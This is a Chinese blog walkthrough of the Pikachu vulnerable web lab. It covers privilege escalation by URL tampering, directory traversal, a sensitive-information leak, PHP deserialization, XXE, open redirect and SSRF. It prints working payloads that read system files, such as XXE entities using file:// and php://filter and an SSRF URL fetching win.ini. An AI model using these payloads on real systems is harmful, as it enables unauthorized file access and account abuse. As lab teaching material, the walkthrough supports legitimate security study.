连接成功:

image-20240821104814990

九、Over Permission

越权漏洞:分为水平越权和垂直越权

水平越权:同等级权限,但是权限实施内容不同,可以通过水平越权实施其他同等级权限(网站用户a,水平越权可以操作网站用户b的账号)

垂直越权:不等级权限,可以通过垂直越权实施更高同等级权限(网站用户a,垂直越权可以实现网站管理员的操作)

1.水平越权

点开提示,我们看到了三个账号

lucy,lili,kobe密码都是:123456

我们登录lucy的账号,查看个人信息

image-20240821201243524

注意到url上面username是lucy,那么我们尝试登录其他人的账户(不知道密码的情况下),就可以将用户账户传输在url上(前提是服务端没有做对应的用户验证),get方式水平越权

image-20240821201545508

看看为什么会出现这个漏洞,就像注释说的一样,没有验证session,确认用户的真实性

image-20240821204140698

2.垂直越权

点击提示

尝试登录三个账号

admin/123456,pikachu/000000,admin是超级boss

admin:

image-20240821211846417

image-20240821212145279

pikachu:

image-20240821211926894

pikachu只有查看权限,admin可以查看,添加,删除信息

那么尝试一下从pikachu垂直越权(添加和删除两方面)

1.添加信息

随意添加一个用户:

image-20240821212906867

发现url地址没有什么变化,任然是:

http://localhost/pikachu-master/vul/overpermission/op2/op2_admin_edit.php

那我们登录到pikachu账户下尝试将url输入:

image-20240821213216720

可以看到,pikachu拥有了admin的权限,可以添加用户

2.删除信息

到admin账户下,随意删除一个信息

发现url改变

http://localhost/pikachu-master/vul/overpermission/op2/op2_admin.php?id=25

经过尝试,删除账户的同时,id是从vince开始,从id=1开始,那么我们尝试删除id=5的kevin

image-20240821213713434

登录到pikachu下面

http://localhost/pikachu-master/vul/overpermission/op2/op2_admin.php?id=5

url输入上面的payload

重新登录到admin,发现kevin没有被删除,说明在删除信息方面,没有越权漏洞

image-20240821213908774

3.添加信息和删除信息文件的不同

分析代码思考为什么添加信息有漏洞,删除信息没有。

添加信息的代码:

image-20240821214408501

删除信息的代码:

image-20240821214424060

注意两个蓝色划线的地方!

添加信息的代码并没有验证level是否等于1(level等于1说明是admin),所以产生了垂直越权漏洞

十、…/…/

看到这个东西,是不是就想到了文件包含漏洞以及文件下载漏洞?这两者都是在依靠…/进行的网站目录跳转,所以可能是因为…/目录遍历漏洞作为了一种辅助手段,使用频率高,让pikachu进行了特殊对待。

这里引用仙女象师傅的一句话:如果我理解的没错,很多文件包含漏洞实际上也包含了目录遍历漏洞(payload中包含…/)。只要payload中包含…/就是有目录遍历漏洞,只是它经常作为其他比它危害更大的漏洞的不留名辅助。

可以尝试运用报错查看报错信息:

image-20240823102745411

这张报错,告诉我们网站的全部路径,require()函数的使用

因为后台使用了require函数,那么我们就可以尝试…/目录遍历漏洞

尝试调用文件包含漏洞里新建的txt文件(…/辅助):
在这里插入图片描述

值得一提是,pikachu这里的title参数,指向的是在下面的soup文件夹下两个php文件,所以对应的上一级目录也就是soup,并不是dir,所以需要五层…/

在这里插入图片描述

http://localhost/pikachu-master/vul/dir/dir_list.php?title=../../../../../1.txt

image-20240823103650090

成功

十一、敏感信息泄露

pikachu描述:

敏感信息泄露概述

​ 由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。

比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;

​ 类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

上面都有提示了,去url里找目录,报错信息(之前的目录遍历漏洞的回显报错信息),前端源码(过滤方式,隐私账户)

题目提示findabc(网站url也是这个文件名),那么我们直接去前端源码找zbc

在下面的注释里看到了账号密码

image-20240823111714105

这里题外话:如果在垂直越权里删除了lili,那么这里就登陆不了了

登录:

image-20240823112143185

十二、PHP反序列化

反序列化解释

可以看pikachu的概述简介,但是有部分的解释有问题

所以这里附上我自己创建的一个php文件,进行简单的序列化后的解释:

image-20240903172958647

image-20240903191723038

解释:

O是object的意思,也就是对象(类)

4是类名称的字符个数(test有四个字符)

"test"是类名称

3是类之中的属性个数(变量之类的,但是不包括函数)

括号里面会把变量名和变量值都显示出来,序列化后的内容只有成员变量,没有成员函数

public属性:

s是变量的类型(字符串)

1是变量名字符个数

"a"是变量名称

再后面的就是变量对应的内容:

"s"是变量内容的类型(字符串)

5是变量内容的字符个数

"lc333"是变量内容

projected属性:

可以看到变量名称出现了和a变量不同的情况:

因为projected属性序列化结果会在变量名前加上\x00*\x00,\x00不可见所以编译器采用方格代替

private属性:

可以看到变量名称出现了和a变量不同的情况:

因为projected属性序列化结果是\x00类名\x00加变量名,\x00不可见所以编译器采用方格代替

下面是题目

image-20240902223500637

自己构造的话有些麻烦,可以直接写一个文件,让系统帮我们写反序列化的代码。(结合XSS)

image-20240902173433779

进行序列化后提交进api

image-20240902173519012

image-20240904110638492

十三、xxe漏洞

XXE漏洞的原理是什么:(pikachu)

既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

危害:

任意文件读取,和文件包含以及…/…/不同,不使用相对路径,

可以看到pikachu给出了个页面

随便输点什么

image-20240907231326420

按照提示我们去学习XXE的相关知识

我们可以通过输入内部实体看是否有显示位

payload:(内部实体验证,外部实体可能会被防火墙干掉)

<?xml version="1.0"?> 
<!DOCTYPE foo [ <!ENTITY a "This is XXE!" > ]> 
<foo>&a;</foo>

image-20240907231557849

可以看到,我们的代码执行了内部实体后返回页面是有我们的内容的。(确定有显示位)

最关键的一点来了,确认是否可以使用外部实体(现在php最新版本默认都会不允许,除非使用LIBXML_NOENT函数设置允许,LIBXML_NOENT 是在 PHP 5.1.0 版本中引入的)

尝试使用外部实体:(SYSTEM标志了外部实体)

利用windows系统都有的win.ini文件尝试

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

使用外部实体成功:

image-20240910192829429

那么现在就可以把win.ini文件的路径换成我们想要查看的文件,比如我桌面的"C:\Users\LC999\Desktop\webshell.txt"

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "C:/Users/LC999/Desktop/webshell.txt" > ]> 
<foo>&xxe;</foo>

image-20240910193651734

这里关注到一个点,txt文件中的php内容,好像依然被认为了php文件内容,没有出现在显示板上面。

这里可以采用php协议进行读取php内容。

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/Users/LC999/Desktop/webshell.txt" > ]> 
<foo>&xxe;</foo>

image-20240910193759740

但是是经过base64编码的数据,所以需要进行解码

image-20240910193821131

看源码:

image-20240910223254678

可以看到了关键参数LIBXML_NOENT(没有这个参数,就会禁止掉外部实体的使用)

十四、不安全的url跳转

pikachu介绍:

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

题目:

可以发现最后面的url在url上get传参了i

image-20240911213403973

url可以使用百度的网站

image-20240911213652212

即可发现跳转到了百度的页面

查看源代码理解一下漏洞原因:

image-20240911215058298

可以看到漏洞逻辑:

如果不是i就直接跳转到get传参的url。

十五、SSRF

pikachu解释:

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

​ 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

​ 数据流:攻击者----->服务器---->目标地址

​ 根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
            

​ 如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤

题目:

首先点击尝试一下看看有什么变化。

image-20240911215600631

可以发现,url多了url传参,是服务器本地的文件。

关键函数:curl_exec()

PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP  基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
这些函数在PHP 4.0.2中被引入。

那么这么多的协议,直接进行尝试

file协议

构造payload:

http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/win.ini

image-20240911220406649

另一个file_get_contents(),也可以采用该payload进行读取。

其他协议可以查看

仙女象师傅的博客

完结撒花!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值